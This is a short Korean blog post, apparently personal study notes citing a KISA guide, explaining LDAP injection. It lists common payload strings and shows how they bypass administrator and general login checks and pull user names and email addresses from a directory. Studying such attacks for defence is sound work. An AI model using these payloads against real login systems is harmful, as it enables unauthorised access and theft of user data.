코딩두의 포트폴리오

LDAP 인젝션 (LDAP Injection) 본문

vulnerability

LDAP 인젝션 (LDAP Injection)

코딩두 2024. 5. 12. 16:04

KISA 가이드

 

LDAP 인젝션

사용자 입력값이 LDAP Query를 구성할 때 이를 이용해 비정상적인 LDAP 동작을 유도하는 공격

이로 인해 검증되지 않은 쿼리에 대한 사용 권한 부여 및 LDAP 트리 내의 내용 수정과 같은 임의 명령이 실행될 수 있다.

 

공격에 자주 사용되는 페이로드

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

로그인의 ID와 Password에 삽입되는 경우가 많음

위 페이로드를 보면 삽입 시 (uid=[입력 값]) (password=[입력 값])의 구문이 존재하면 입력 값에 *)를 넣는다면 참

 

공격 방법

관리자 계정 인증 우회

uid = admin

pw = *)(uid=*))(|(uid=*

pw 필드에서 닫는 괄호 사용해 쿼리 나머지 부분을 주석 처리, 어떤 사용자의 uid라도 참이 되게 함

 

특정 사용자(관리자) 로그인 인증 우회

uid = admin

pw = admin)(uid=*))(|(uid=*

쿼리 끝 부분이 admin으로 끝나는 사용자 찾기 위함, pw 필드에서 쿼리 조작

 

모든 계정 접근

uid = *)(uid=*))(|(uid=*

pw = 아무 값

사용자 이름 필드 이용하여 모든 계정에 대해 참인 쿼리 생성, 비밀번호 필드 값 중요하지 않음

 

인증 우회 쿼리

(|(uid=*)(userPassword=*))

사용자 ID, 비밀번호 무시하고 인증 시도 / 입력값 검증 제대로 이루어지지 않을 시 사용

 

특정 정보 검색 쿼리

(uid=*)(|(uid=*Admin*))

Admin이 포함된 모든 사용자 ID 검색 / 공격자가 관리자 계정에 접근 시 사용

 

정보 유출 쿼리

(sn=*)(mail=*)

모든 사용자의 성과 메일 주소 정보 조회

 

조건부 로직 우회

(&(uid=*)(!(uid=*Admin*)))

Admin 제외한 모든 사용자 ID 검색 시 사용

'vulnerability' 카테고리의 다른 글

버프 스위트(Burp Suite)  (0) 2024.05.16
운영체제 명령 실행 (Command Injection)  (0) 2024.05.13
포맷 스트링 (Format String)  (2) 2024.05.12
버퍼 오버플로우(Buffer Overflow)  (0) 2024.05.10
취약점(vulnerability)  (0) 2024.05.10